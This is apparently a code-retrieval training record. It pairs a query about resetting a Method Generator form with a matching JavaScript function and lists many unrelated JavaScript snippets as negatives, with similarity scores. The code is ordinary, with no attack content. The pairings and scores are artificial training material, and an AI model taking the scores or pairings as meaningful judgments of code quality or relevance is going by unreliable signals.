Object.keys(ctx.sregs).length\n + Object.keys(ctx.locals).length + 1) * 4;\n ctx.result.push(ctx.functionName + \" :\");\n ctx.result.push(` addi $sp, $sp, -${stackSize}`);\n ctx.result.push(\" sw $ra, 0($sp)\");\n let current = (1 + Object.keys(ctx.locals).length) * 4;\n for(let key in ctx.sregs){\n const reg = ctx.sregs[key];\n ctx.result.push(` sw ${reg}, ${current}($sp)`);\n current += 4;\n }\n for(let cmd of ctx.buffer){\n if(/^\\s*$/.test(cmd))continue;\n if(cmd.indexOf(':')!=-1)ctx.result.push(cmd.replace(/^\\s*/,''));\n else ctx.result.push(cmd.replace(/^\\s*/,' '));\n }\n ctx.result.push(ctx.functionName + \"_end :\");\n current = (1 + Object.keys(ctx.locals).length) * 4;\n for(let key in ctx.sregs){\n const reg = ctx.sregs[key];\n ctx.result.push(` lw ${reg}, ${current}($sp)`);\n current += 4;\n }\n ctx.result.push(\" lw $ra, 0($sp)\");\n ctx.result.push(` addi $sp, $sp, ${stackSize}`);\n ctx.result.push(` jr $ra`);\n ctx.result.push(``);\n}", "function theImplementation(automata){\n\n}", "makeData (callback) {\n\t\tObject.assign(this.postOptions, {\n\t\t\tcreatorIndex: 1,\n\t\t\twantCodeError: true\n\t\t});\n\t\tBoundAsync.series(this, [\n\t\t\tCodeStreamAPITest.prototype.before.bind(this),\n\t\t\tthis.replyToCodeError\n\t\t], callback);\n\t}", "function makeCompositeBlock(prim, spec, type, color, varprocname){\r\n\r\n\t// COLOR HACK\r\n\tif((prim == \"LOUDNESS\") ||\r\n\t (prim == \"CAMERAIMAGE\") ||\r\n\t (prim == \"CAMERAMOTION\") ||\r\n\t (prim == \"FLICKR\") ||\r\n\t (prim == \"prim_flickr\")){\r\n\t\tcolor = \"#A00000\";\r\n\t}\r\n\r\n\tvar block = $('<div class=\"block\"></div>');\r\n\tblock[0].prim = prim;\r\n\tblock[0].spec = spec;\r\n\tblock[0].type = type;\r\n\tblock[0].color = color;\r\n\tblock[0].fcn = window[prim];\r\n\tblock.attr('onSelectStart','return false');\r\n\tvar shape = $('<canvas onclick=\"void(0)\" class=\"shape\"></canvas>'); // for iPhone: onclick = \"void(0)\"\r\n\tblock.append(shape);\r\n\tshape.css('z-index', 0);\r\n\t\r\n\t// PARSE PROCEDURE\r\n\tif((block[0].prim == 'prim_procedure') || (block[0].prim == 'prim_proceduredef')){\r\n\t\tvar label = $('<div class=\"label\">'+varprocname+'</div>');\r\n\t\tlabel.attr('onSelectStart','return false'); //avoid text selection on browser other then Mozilla\r\n\t\tblock.append(label);\r\n\t\tblock[0].procname = varprocname;\r\n\t}else{\r\n\t// PARSE SPEC\r\n\t\tvar specArray = spec.split(\" \");\r\n\t\tfor(s in specArray){\r\n\t\t\tvar p = specArray[s];\r\n\t\t\tif((p.charAt(0) == '%') && (p.length != 1)){\r\n\t\t\t\t// ARGUMENT\r\n\t\t\t\tvar arg;\r\n\t\t\t\tif(p.charAt(1) == 'n'){\r\n\t\t\t\t\targ = $('<input class=\"arg\" value=\"10\" />');\r\n\t\t\t\t\targ[0].type = 'text';\r\n\t\t\t\t\targ[0].fcn = window['prim_number'];\r\n\t\t\t\t}\r\n\t\t\t\tif(p.charAt(1) == 'p'){\r\n\t\t\t\t\targ = $('<input class=\"arg\" value=\"10\" />');\r\n\t\t\t\t\targ[0].type = 'text';\r\n\t\t\t\t\targ[0].fcn = window['prim_number'];\r\n\t\t\t\t}\r\n\t\t\t\tif(p.charAt(1) == 's'){\r\n\t\t\t\t\targ = $('<input class=\"arg\" value=\"10\" />');\r\n\t\t\t\t\targ[0].type = 'text';\r\n\t\t\t\t\targ[0].fcn = window['prim_number'];\r\n\t\t\t\t}\r\n\t\t\t\tif(p.charAt(1) == 'b'){\r\n\t\t\t\t\targ = $('<div class=\"arg\"><canvas class=\"boolean\" /></div>');\r\n\t\t\t\t\targ.css('z-index', 1);\r\n\t\t\t\t\targ[0].type = 'text';\r\n\t\t\t\t\targ[0].fcn = window['prim_boolean'];\r\n\t\t\t\t}\r\n\t\t\t\tif(p.charAt(1) == 'f'){\r\n\t\t\t\t\targ = $('<input class=\"arg\" value=\"10\" />');\r\n\t\t\t\t\targ[0].type = 'text';\r\n\t\t\t\t\targ[0].fcn = window['prim_number'];\r\n\t\t\t\t}\r\n\t\t\t\tif((p.charAt(1) == 'v') && (spec == 'set %v to %n')){\r\n\t\t\t\t\tvar varLabel = $('<div class=\"arg\">v</div>');\r\n\t\t\t\t\tvarLabel.attr('onSelectStart','return false');\r\n\t\t\t\t\tblock.append(varLabel);\r\n\t\t\t\t\tblock[0].varname = varprocname;\r\n\t\t\t\t}\r\n\t\t\t\tif((p.charAt(1) == 'v') && (spec == 'change %v by %n')){\r\n\t\t\t\t\tvar varLabel = $('<div class=\"arg\">v</div>');\r\n\t\t\t\t\tvarLabel.attr('onSelectStart','return false');\r\n\t\t\t\t\tblock.append(varLabel);\r\n\t\t\t\t\tblock[0].varname = varprocname;\r\n\t\t\t\t}\r\n\t\t\t\tif((p.charAt(1) == 'v') && (spec == '%v')){\r\n\t\t\t\t\tvar varLabel = $('<div class=\"label\">'+varprocname+'</div>');\r\n\t\t\t\t\tvarLabel.attr('onSelectStart','return false');\r\n\t\t\t\t\tblock.append(varLabel);\r\n\t\t\t\t\tblock[0].varname = varprocname;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif(arg != undefined){\r\n\t\t\t\t\tblock.append(arg);\r\n\t\t\t\t\targ.keydown(function() {\r\n\t\t\t\t\t\tlayoutArg($(this));\r\n\t\t\t\t\t\tlayoutStack($(this).parents('.stack'));\r\n\t\t\t\t\t});\r\n\t\t\t\t}\r\n\t\t\t}else if(p.charAt(0) == '@'){\r\n\t\t\t\t// ICON\r\n\t\t\t\tvar icon = getIcon(p.substring(1,p.length));\r\n\t\t\t\tif(icon!= null){\r\n\t\t\t\t\ticon.css('z-index', 5);\r\n\t\t\t\t\tblock.append(icon);\r\n\t\t\t\t\ticon.attr('onSelectStart','return false'); //avoid text selection on browser other then Mozilla\r\n\t\t\t\t\ticon.attr('onDragStart','return false'); //avoid image drag\r\n\t\t\t\t}else{\r\n\t\t\t\t\tvar label = $('<div class=\"label\">'+p+'</div>');\r\n\t\t\t\t\tlabel.attr('onSelectStart','return false'); //avoid text selection on browser other then Mozilla\r\n\t\t\t\t\tblock.append(label);\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t// LABEL\r\n\t\t\t\tvar label = $('<div class=\"label\">'+p+'</div>');\r\n\t\t\t\tlabel.attr('onSelectStart','return false'); //avoid text selection on browser other then Mozilla\r\n\t\t\t\tblock.append(label);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\treturn block;\r\n}", "function Closure() {\r\n}", "function gen_uppercase() {\r\n return gen_lowercase().toUpperCase();\r\n}", "function gen_op_test_pl(param1)\n{\n //gen_opparam_ptr.push(param1);\n gen_opc_ptr.push({func:op_test_pl, param: param1});\n}", "function gen_op_ubfx_T1(param1, param2)\n{\n //gen_opparam_ptr.push(param1);\n //gen_opparam_ptr.push(param2);\n gen_opc_ptr.push({func:op_ubfx_T1, param:param1, param2:param2});\n}", "productAMethod() {\n return 'Product A1';\n }", "function generateCWiseOp(proc, typesig) {\n\n //Compute dimension\n var dimension = typesig[1].length|0\n var orders = new Array(proc.arrayArgs.length)\n var dtypes = new Array(proc.arrayArgs.length)\n\n //First create arguments for procedure\n var arglist = [\"SS\"]\n var code = [\"'use strict'\"]\n var vars = []\n \n for(var j=0; j<dimension; ++j) {\n vars.push([\"s\", j, \"=SS[\", j, \"]\"].join(\"\"))\n }\n for(var i=0; i<proc.arrayArgs.length; ++i) {\n arglist.push(\"a\"+i)\n arglist.push(\"t\"+i)\n arglist.push(\"p\"+i)\n dtypes[i] = typesig[2*i]\n orders[i] = typesig[2*i+1]\n \n for(var j=0; j<dimension; ++j) {\n vars.push([\"t\",i,\"p\",j,\"=t\",i,\"[\",j,\"]\"].join(\"\"))\n }\n }\n for(var i=0; i<proc.scalarArgs.length; ++i) {\n arglist.push(\"Y\" + i)\n }\n if(proc.shapeArgs.length > 0) {\n vars.push(\"shape=SS.slice(0)\")\n }\n if(proc.indexArgs.length > 0) {\n var zeros = new Array(dimension)\n for(var i=0; i<dimension; ++i) {\n zeros[i] = \"0\"\n }\n vars.push([\"index=[\", zeros.join(\",\"), \"]\"].join(\"\"))\n }\n for(var i=0; i<proc.offsetArgs.length; ++i) {\n var off_arg = proc.offsetArgs[i]\n var init_string = []\n for(var j=0; j<off_arg.offset.length; ++j) {\n if(off_arg.offset[j] === 0) {\n continue\n } else if(off_arg.offset[j] === 1) {\n init_string.push([\"t\", off_arg.array, \"p\", j].join(\"\")) \n } else {\n init_string.push([off_arg.offset[j], \"*t\", off_arg.array, \"p\", j].join(\"\"))\n }\n }\n if(init_string.length === 0) {\n vars.push(\"q\" + i + \"=0\")\n } else {\n vars.push([\"q\", i, \"=\", init_string.join(\"+\")].join(\"\"))\n }\n }\n\n //Prepare this variables\n var thisVars = uniq([].concat(proc.pre.thisVars)\n .concat(proc.body.thisVars)\n .concat(proc.post.thisVars))\n vars = vars.concat(thisVars)\n code.push(\"var \" + vars.join(\",\"))\n for(var i=0; i<proc.arrayArgs.length; ++i) {\n code.push(\"p\"+i+\"|=0\")\n }\n \n //Inline prelude\n if(proc.pre.body.length > 3) {\n code.push(processBlock(proc.pre, proc, dtypes))\n }\n\n //Process body\n var body = processBlock(proc.body, proc, dtypes)\n var matched = countMatches(orders)\n if(matched < dimension) {\n code.push(outerFill(matched, orders[0], proc, body))\n } else {\n code.push(innerFill(orders[0], proc, body))\n }\n\n //Inline epilog\n if(proc.post.body.length > 3) {\n code.push(processBlock(proc.post, proc, dtypes))\n }\n \n if(proc.debug) {\n console.log(\"Generated cwise routine for \", typesig, \":\\n\\n\", code.join(\"\\n\"))\n }\n \n var loopName = [(proc.funcName||\"unnamed\"), \"_cwise_loop_\", orders[0].join(\"s\"),\"m\",matched,typeSummary(dtypes)].join(\"\")\n var f = new Function([\"function \",loopName,\"(\", arglist.join(\",\"),\"){\", code.join(\"\\n\"),\"} return \", loopName].join(\"\"))\n return f()\n}", "function generateCWiseOp(proc, typesig) {\n\n //Compute dimension\n var dimension = typesig[1].length|0\n var orders = new Array(proc.arrayArgs.length)\n var dtypes = new Array(proc.arrayArgs.length)\n\n //First create arguments for procedure\n var arglist = [\"SS\"]\n var code = [\"'use strict'\"]\n var vars = []\n \n for(var j=0; j<dimension; ++j) {\n vars.push([\"s\", j, \"=SS[\", j, \"]\"].join(\"\"))\n }\n for(var i=0; i<proc.arrayArgs.length; ++i) {\n arglist.push(\"a\"+i)\n arglist.push(\"t\"+i)\n arglist.push(\"p\"+i)\n dtypes[i] = typesig[2*i]\n orders[i] = typesig[2*i+1]\n \n for(var j=0; j<dimension; ++j) {\n vars.push([\"t\",i,\"p\",j,\"=t\",i,\"[\",j,\"]\"].join(\"\"))\n }\n }\n for(var i=0; i<proc.scalarArgs.length; ++i) {\n arglist.push(\"Y\" + i)\n }\n if(proc.shapeArgs.length > 0) {\n vars.push(\"shape=SS.slice(0)\")\n }\n if(proc.indexArgs.length > 0) {\n var zeros = new Array(dimension)\n for(var i=0; i<dimension; ++i) {\n zeros[i] = \"0\"\n }\n vars.push([\"index=[\", zeros.join(\",\"), \"]\"].join(\"\"))\n }\n for(var i=0; i<proc.offsetArgs.length; ++i) {\n var off_arg = proc.offsetArgs[i]\n var init_string = []\n for(var j=0; j<off_arg.offset.length; ++j) {\n if(off_arg.offset[j] === 0) {\n continue\n } else if(off_arg.offset[j] === 1) {\n init_string.push([\"t\", off_arg.array, \"p\", j].join(\"\")) \n } else {\n init_string.push([off_arg.offset[j], \"*t\", off_arg.array, \"p\", j].join(\"\"))\n }\n }\n if(init_string.length === 0) {\n vars.push(\"q\" + i + \"=0\")\n } else {\n vars.push([\"q\", i, \"=\", init_string.join(\"+\")].join(\"\"))\n }\n }\n\n //Prepare this variables\n var thisVars = uniq([].concat(proc.pre.thisVars)\n .concat(proc.body.thisVars)\n .concat(proc.post.thisVars))\n vars = vars.concat(thisVars)\n code.push(\"var \" + vars.join(\",\"))\n for(var i=0; i<proc.arrayArgs.length; ++i) {\n code.push(\"p\"+i+\"|=0\")\n }\n \n //Inline prelude\n if(proc.pre.body.length > 3) {\n code.push(processBlock(proc.pre, proc, dtypes))\n }\n\n //Process body\n var body = processBlock(proc.body, proc, dtypes)\n var matched = countMatches(orders)\n if(matched < dimension) {\n code.push(outerFill(matched, orders[0], proc, body))\n } else {\n code.push(innerFill(orders[0], proc, body))\n }\n\n //Inline epilog\n if(proc.post.body.length > 3) {\n code.push(processBlock(proc.post, proc, dtypes))\n }\n \n if(proc.debug) {\n console.log(\"Generated cwise routine for \", typesig, \":\\n\\n\", code.join(\"\\n\"))\n }\n \n var loopName = [(proc.funcName||\"unnamed\"), \"_cwise_loop_\", orders[0].join(\"s\"),\"m\",matched,typeSummary(dtypes)].join(\"\")\n var f = new Function([\"function \",loopName,\"(\", arglist.join(\",\"),\"){\", code.join(\"\\n\"),\"} return \", loopName].join(\"\"))\n return f()\n}", "function gen_op_swpb_raw()\n{\n gen_opc_ptr.push({func:op_swpb_raw});\n}", "function gen_op_test_hi(param1)\n{\n //gen_opparam_ptr.push(param1);\n gen_opc_ptr.push({func:op_test_hi, param: param1});\n}", "function createMethod(info, options) {\n const { metadataRpc, registry } = options;\n registry.setMetadata(metadata_1.createMetadata(registry, metadataRpc));\n const tx = metadata_1.createDecoratedTx(registry, metadataRpc);\n const methodFunction = tx[info.method.pallet][info.method.name];\n const method = methodFunction(...methodFunction.meta.args.map((arg) => {\n if (info.method.args[util_1.stringCamelCase(arg.name.toString())] === undefined) {\n throw new Error(`Method ${info.method.pallet}::${info.method.name} expects argument ${arg.toString()}, but got undefined`);\n }\n return info.method.args[util_1.stringCamelCase(arg.name.toString())];\n })).toHex();\n // We were accepting `validityPeriod` field, in seconds, before using\n // `eraPeriod`, in blocks. This piece of code assures backward-compatibility.\n if (info.validityPeriod) {\n console.warn('The `validityPeriod` field in tx info is now deprecated. Please use `eraPeriod`, the period now being in blocks instead of seconds.');\n }\n const eraPeriod = \n // If `info.eraPeriod` is set, use it.\n info.eraPeriod ||\n // For backwards-compatibility, also see if `info.validityPeriod` is set,\n // with a block time of 6s.\n (info.validityPeriod && info.validityPeriod / 6) ||\n // As last resort, take the default value.\n DEFAULTS.eraPeriod;\n return {\n address: info.address,\n blockHash: info.blockHash,\n blockNumber: registry.createType('BlockNumber', info.blockNumber).toHex(),\n era: registry\n .createType('ExtrinsicEra', {\n current: info.blockNumber,\n period: eraPeriod,\n })\n .toHex(),\n genesisHash: info.genesisHash,\n metadataRpc,\n method,\n nonce: registry.createType('Compact<Index>', info.nonce).toHex(),\n signedExtensions: registry.signedExtensions,\n specVersion: registry.createType('u32', info.specVersion).toHex(),\n tip: registry\n .createType('Compact<Balance>', info.tip || DEFAULTS.tip)\n .toHex(),\n transactionVersion: registry\n .createType('u32', info.transactionVersion)\n .toHex(),\n version: constants_1.EXTRINSIC_VERSION,\n };\n}", "addMethod(structure) {\r\n return this.addMethods([structure])[0];\r\n }", "function gen_op_swpl_raw()\n{\n gen_opc_ptr.push({func:op_swpl_raw});\n}", "_click(e) {\n const type = this.cel.getAttribute('data-type');\n\n this[type](e);\n }", "function gen_op_vfp_subs()\n{\n gen_opc_ptr.push({func:op_vfp_subs});\n}", "function GeneratePart(type, arg, price, which, haspecul, pecul)\r\n{\r\n\tvar res = 0;\r\n\r\n\tif (type == 0)\r\n\t{\r\n\t\tif (arg == 1) res = ApplyModifiers(price, GetDataArray(\"wdmg\")[which], GetDataArray(\"wpeculdmg\")[pecul], haspecul);\r\n\t\tif (arg == 2) res = ApplyModifiers(price, GetDataArray(\"wrof\")[which], GetDataArray(\"wpeculrof\")[pecul], haspecul);\r\n\t\tif (arg == 3) res = ApplyModifiers(price, GetDataArray(\"wen\")[which], GetDataArray(\"wpeculen\")[pecul], haspecul);\r\n\t}\r\n\tif (type == 1)\r\n\t{\r\n\t\tif (arg == 1) res = ApplyModifiers(price, GetDataArray(\"afr\")[which], GetDataArray(\"apeculfr\")[pecul], haspecul);\r\n\t\tif (arg == 2) res = ApplyModifiers(price, GetDataArray(\"abk\")[which], GetDataArray(\"apeculbk\")[pecul], haspecul);\r\n\t\tif (arg == 3) res = ApplyModifiers(price, GetDataArray(\"awt\")[which], GetDataArray(\"apeculwt\")[pecul], haspecul);\r\n\t}\r\n\tif (type == 2)\r\n\t{\r\n\t\tif (arg == 1) res = ApplyModifiers(price, GetDataArray(\"cen\")[which], GetDataArray(\"cpeculen\")[pecul], haspecul);\r\n\t\tif (arg == 2) res = ApplyModifiers(price, GetDataArray(\"cwt\")[which], GetDataArray(\"cpeculwt\")[pecul], haspecul);\r\n\t\tif (arg == 3) res = ApplyModifiers(price, GetDataArray(\"cman\")[which], GetDataArray(\"cpeculman\")[pecul], haspecul);\r\n\t}\r\n\r\n\tif (res == NaN) return 1;\r\n\tif (res == null) return 1;\r\n\r\n\treturn res;\r\n}", "function closureFromSymbolArrayPurificatorToPuzzle(p_purificatorSymbolArray, p_loadingFromPurificatorMethod, p_symbolArray, p_extraLoadData) {\n\treturn function(p_solver) {\t\t\n\t\tp_loadingFromPurificatorMethod(p_purificatorSymbolArray.alterateData(p_symbolArray), p_extraLoadData);\n\t}\n}", "function generateFile(data) {\n FileReader.writeFile(\"compiled.js\", data, (err) => {\n if (err) {\n console.log(\"File write err\");\n }\n });\n}", "function generate(node) { \n\n\t\tif(node.type === 'FunctionDeclaration'\n\t\t\t&& node['change-noprop'] === 'INHERITED')\n\t\t\tnode['change-noprop'] = node.change;\n\n\t\t/* Recursively generate sequence for node. */\n\t\treturn generateStatement(node);\n\n\t}", "function addMethod(methodnumber) {\n let newMethod = document.querySelector(`.add-method-${methodnumber}`);\n newBreak = document.createElement(\"br\");\n oneMoreBreak = document.createElement(\"br\");\n newPar = document.createElement(\"p\");\n\n buttonRemoveMethod = document.createElement(\"button\");\n buttonRemoveMethod.classList.add(`add-small-method-${methodCounter}`);\n buttonRemoveMethod.setAttribute(\"type\", \"button\");\n buttonRemoveMethod.innerHTML = \"Remove Method -\";\n\n smallMethod = document.createElement(\"div\");\n smallMethod.classList.add(`add-small-method-${methodCounter}`);\n\n labelMethodName = document.createElement(\"label\");\n labelMethodName.setAttribute(\"for\", \"method-name\");\n labelMethodName.classList.add(\"label-methname\");\n labelMethodName.innerHTML = \"<br>Method name: \";\n \n inputMethodName = document.createElement(\"input\");\n inputMethodName.setAttribute(\"type\", \"text\");\n inputMethodName.setAttribute(\"id\", \"method-name\");\n inputMethodName.setAttribute(\"name\", `method-name-${methodCounter}`);\n inputMethodName.setAttribute(\"size\", \"39.5\");\n inputMethodName.classList.add(\"method-input\");\n\n labelMethodRT = document.createElement(\"label\");\n labelMethodRT.setAttribute(\"for\", \"method-return-type\");\n labelMethodRT.innerHTML = \"<br>Method return type: <br>\";\n\n inputMethodRT = document.createElement(\"input\");\n inputMethodRT.setAttribute(\"type\", \"text\");\n inputMethodRT.setAttribute(\"id\", \"method-return-type\");\n inputMethodRT.setAttribute(\"name\", `method-name-${methodCounter}`);\n inputMethodRT.setAttribute(\"size\", \"39.5\");\n inputMethodRT.classList.add(\"method-return-input\");\n\n labelMethodArgs = document.createElement(\"label\");\n labelMethodArgs.setAttribute(\"for\", \"method-arguments\");\n labelMethodArgs.innerHTML = \"<br>Method arguments: <br>\";\n\n inputMethodArgs = document.createElement(\"input\");\n inputMethodArgs.setAttribute(\"type\", \"text\");\n inputMethodArgs.setAttribute(\"id\", \"method-arguments\");\n inputMethodArgs.setAttribute(\"name\", `method-name-${methodCounter}`);\n inputMethodArgs.setAttribute(\"size\", \"39.5\");\n inputMethodArgs.classList.add(\"method-args-input\");\n\n labelMethodDef = document.createElement(\"label\");\n labelMethodDef.setAttribute(\"for\", \"method-definition\");\n labelMethodDef.innerHTML = \"<br>Method definition: \";\n\n inputMethodDef = document.createElement(\"textarea\");\n inputMethodDef.setAttribute(\"id\", `method-definition`);\n inputMethodDef.setAttribute(\"name\", `method-name-${methodCounter}`);\n inputMethodDef.classList.add(\"method-def-input\");\n\n smallMethod.append(labelMethodName);\n smallMethod.append(inputMethodName);\n smallMethod.append(buttonRemoveMethod);\n smallMethod.append(labelMethodRT);\n smallMethod.append(inputMethodRT);\n smallMethod.append(labelMethodArgs);\n smallMethod.append(inputMethodArgs);\n smallMethod.append(labelMethodDef);\n smallMethod.append(oneMoreBreak);\n smallMethod.append(inputMethodDef);\n smallMethod.append(newBreak);\n newMethod.append(smallMethod);\n\n //methodCounter = methodCounter + 1;\n}", "function createFunction(html) {\n\n // Regex to match template tags\n // TODO: Finish double bracket option\n var tagRegex, useDouble = go.config().useDoubleBrackets;\n if (!useDouble) tagRegex = /\\{(\\/?)([\\*\\?\\$\\^\\*\\.\\+\\-\\!@%&~#:>=]\\w*)(?:\\(((?:[^\\}]|\\}(?!\\}))*?)?\\))?(?:\\s+(.*?)?)?(\\(((?:[^\\}]|\\}(?!\\}))*?)\\))?\\s*\\}/g;\n\n // Replace tags with code\n var code = html.replace(tagRegex, convertTagToCode);\n\n // Replace curly brackets in content\n code = code\n .replace(/\\\\#lcb#/g, \"{\") // Replace left curly bracket break\n .replace(/\\\\#rcb#/g, \"}\"); // Replace right currly bracket break\n\n // Create final function string\n // Introduce the data as local variables using with(){}\n var funcStr = \"var __=[];with(this){__.push('\" + code + \"');}return __;\";\n\n // Debug - Add line breaks\n funcStr = funcStr.replace(/;/g, \";\\r\\n\").replace(/\\{/g, \"{\\r\\n\").replace(/\\}/g, \"}\\r\\n\");\n\n // Convert to function\n return new Function(\"$\", \"$h\", \"$u\", \"e\", \"values\", funcStr);\n }", "function decodeMethod(method, data) {\n var outputNames = utils.getKeys(method.outputs, 'name', true);\n var outputTypes = utils.getKeys(method.outputs, 'type');\n\n return decodeParams(outputNames, outputTypes, utils.hexOrBuffer(data));\n}", "function decodeMethod(method, data) {\n var outputNames = utils.getKeys(method.outputs, 'name', true);\n var outputTypes = utils.getKeys(method.outputs, 'type');\n\n return decodeParams(outputNames, outputTypes, utils.hexOrBuffer(data));\n}", "function decodeMethod(method, data) {\n var outputNames = utils.getKeys(method.outputs, 'name', true);\n var outputTypes = utils.getKeys(method.outputs, 'type');\n\n return decodeParams(outputNames, outputTypes, utils.hexOrBuffer(data));\n}", "function decodeMethod(method, data) {\n var outputNames = utils.getKeys(method.outputs, 'name', true);\n var outputTypes = utils.getKeys(method.outputs, 'type');\n\n return decodeParams(outputNames, outputTypes, utils.hexOrBuffer(data));\n}", "function decodeMethod(method, data) {\n var outputNames = utils.getKeys(method.outputs, 'name', true);\n var outputTypes = utils.getKeys(method.outputs, 'type');\n\n return decodeParams(outputNames, outputTypes, utils.hexOrBuffer(data));\n}", "function decodeMethod(method, data) {\n var outputNames = utils.getKeys(method.outputs, 'name', true);\n var outputTypes = utils.getKeys(method.outputs, 'type');\n\n return decodeParams(outputNames, outputTypes, utils.hexOrBuffer(data));\n}", "function decodeMethod(method, data) {\n var outputNames = utils.getKeys(method.outputs, 'name', true);\n var outputTypes = utils.getKeys(method.outputs, 'type');\n\n return decodeParams(outputNames, outputTypes, utils.hexOrBuffer(data));\n}" ]
[ "0.6213255", "0.5481304", "0.53936106", "0.534306", "0.5260585", "0.5231658", "0.5099202", "0.50868475", "0.50540376", "0.5043658", "0.5037237", "0.50279", "0.50137424", "0.50122625", "0.5008102", "0.50002736", "0.4997255", "0.49767616", "0.4967764", "0.49616757", "0.49420545", "0.49354887", "0.49279234", "0.492535", "0.49218124", "0.49098614", "0.4901056", "0.49003386", "0.4879038", "0.4868078", "0.4859384", "0.48564273", "0.48553765", "0.48512557", "0.48243165", "0.4817887", "0.48176458", "0.47980148", "0.47957268", "0.47954282", "0.47925693", "0.4786024", "0.4782055", "0.4776964", "0.4762799", "0.47564557", "0.47449875", "0.47441238", "0.47369397", "0.47340134", "0.47328824", "0.47228843", "0.47183585", "0.47183585", "0.469881", "0.4695856", "0.46806538", "0.46761885", "0.46756634", "0.46756634", "0.46756634", "0.46704563", "0.46702608", "0.4656617", "0.46564594", "0.46550444", "0.46531942", "0.46526718", "0.46511266", "0.46443272", "0.4644044", "0.46404362", "0.4637745", "0.46346426", "0.46292526", "0.46247715", "0.46142665", "0.4605706", "0.4602657", "0.4602657", "0.46025077", "0.45948935", "0.45918724", "0.45862874", "0.45846394", "0.4580133", "0.45800373", "0.45796415", "0.4574645", "0.45592588", "0.45590237", "0.4554751", "0.4553903", "0.455382", "0.455382", "0.455382", "0.455382", "0.455382", "0.455382", "0.455382" ]
0.57036096
1
This method clears the Method Generator form.
function ResetForm(formID) { // Get the method form and erase the area fields. var myForm = document.getElementById(formID); myForm.elements["Description"].value = ""; myForm.elements["Result"].value = ""; // Get the signature field and select it. This enables the user // to choose easily between tweaking the old signature and // creating a new one. var signatureField = myForm.elements["Signature"]; signatureField.select(); signatureField.focus(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "static clear() {\n libraryForm.reset()\n }", "function ClearFields() { }", "reset() {\n\t\tthis.formElement.reset();\n\t}", "reset() {\n this.api.clear();\n this.api = null;\n this.fieldDescriptor.clear();\n this.resetForm();\n }", "function clearForms() {\n //.reset() is a built in form method\n form.reset();\n}", "function ClearFields() {\r\n self.model.code = \"\";\r\n self.model.component = \"\";\r\n }", "function clear() {\n if (generate) return\n const freshGrid = buildGrid()\n setGrid(freshGrid)\n genCount.current = 0\n }", "clear() {\n this.$menu.html('');\n this.$form.html('');\n this.$preview.html(this.$empty);\n }", "function clearForm() {\n clearUnitDetails();\n clearUnits();\n }", "clear() {\r\n this._clear();\r\n }", "function fnClearForm() {\n elSwForm.reset();\n }", "clear() {\n this._clear();\n }", "function ClearFields() {\r\n self.model.code = \"\";\r\n self.model.name = \"\";\r\n self.model.address = \"\";\r\n }", "clear() {\n this._clear();\n this._clearPlus();\n }", "function clearForm() {\n\t\tconst blankState = Object.fromEntries(\n\t\t\tObject.entries(inputs).map(([key, value]) => [key, \"\"])\n\t\t);\n\t\tsetInputs(blankState);\n\t}", "function resetform() {\n clearField(nameField);\n clearField(emailField);\n clearField(messageField);\n}", "clear() {\n this.input.clear();\n }", "clear () {\n this.setValue('');\n }", "function clear_cFlowForm() {\r\n document.forms['cFlowForm'].txt_startValue.value = \"\";\r\n document.forms['cFlowForm'].txt_endValue.value = \"\";\r\n console.log('Form reset');\r\n}", "function clear_cFlowForm() {\r\n document.forms['cFlowForm'].txt_startValue.value = \"\";\r\n document.forms['cFlowForm'].txt_endValue.value = \"\";\r\n console.log('Form reset');\r\n}", "function addOpFormReset() {\n pageDialog.node.reset();\n }", "reset(){\n this.enable();\n this.init();\n this.buildAll();\n }", "clear() {\n // clearing the viewers and setting the operation to undefined\n this.readyToReset = true;\n this.currentOperand = '';\n this.previousOperand = undefined;\n this.operation = undefined;\n this.espSymbol = undefined;\n }", "function clearBox(){\r\n\t\tthis.value = \"\";\r\n\t}", "function clearForm() {\n\t\tvar form = document.getElementById(\"target\");\n\t\tvar frm_elements = form.elements;\n\t\t$(\"select#sourceSystem option[selected]\").removeAttr(\"selected\");\n\t\tfor (i = 0; i < frm_elements.length; i++) {\n\t\t\tfield_type = frm_elements[i].type.toLowerCase();\n\t\t\tswitch (field_type)\t{\n\t\t\t\tcase \"text\":\n\t\t\t\tcase \"password\":\n\t\t\t\tcase \"hidden\":\n\t\t\t\t\tfrm_elements[i].value = \"\";\n\t\t\t\t\tfrm_elements[i].defaultValue = \"\";\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"checkbox\":\n\t\t\t\t\tfrm_elements[i].checked = false;\n\t\t\t\t\tfrm_elements[i].defaultChecked = false;\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"select-one\":\n\t\t\t\t\tfrm_elements[i].selectedIndex = -1;\n\t\t\t\t\tfrm_elements[i].defaultSelected = -1;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}", "clear() {\n this.destroy();\n }", "resetForm() {\n this.init = {};\n }", "function clearForms() {\n // Reset all form's values\n $(\"form\").trigger(\"reset\");\n \n /* Remove all elements from form \n * with class question\n * in QUESTIONS PAGE */\n $(\".question\").empty();\n \n /* Remove all elements from form \n * with id qpp (questions per page)\n * in QUESTIONS PER PAGE */\n $(\"#qpp\").empty();\n \n // Disable both next and previows buttons\n disableElement(\"#nextBtn\");\n disableElement(\"#prevBtn\");\n}", "function itg_syndication_clear_form(class_name) {\n jQuery(\".\" + class_name).find(':input').each(function () {\n switch (this.type) {\n case 'text':\n case 'textarea':\n $(this).val('');\n break;\n case 'select-one':\n $(this).val('_none');\n break;\n }\n });\n }", "function clearForm() {\n // clear the inputs.\n this.name = ''\n this.note = ''\n\n // Material Lite isn't reactive, so we're going to manually remove the css class so our label re-appear YUCK\n document.getElementById('studyCardNameInput').classList.remove('is-dirty')\n document.getElementById('studyCardNoteInput').classList.remove('is-dirty')\n}", "function clearCalculations() {\n $('.field').val('');\n }", "clear() {\n this.value = \"\";\n }", "function clearForm() {\n $(':reset').click(_event => {\n console.log('clearForm was clicked');\n // $('#js-state').addClass('hide'); // might be useful when state list collapse is implemented\n $('#js-state li').removeClass();\n })\n}", "function allClear() {\r\n\tdocument.getElementById(\"questionForm\").reset();\r\n }", "function clearForm() {\n isNewObject = true;\n var $dialog = dialog.getElement();\n $('input:text', $dialog).val('');\n $('.input-id', $dialog).val(0);\n $('.input-password', $dialog).val('');\n 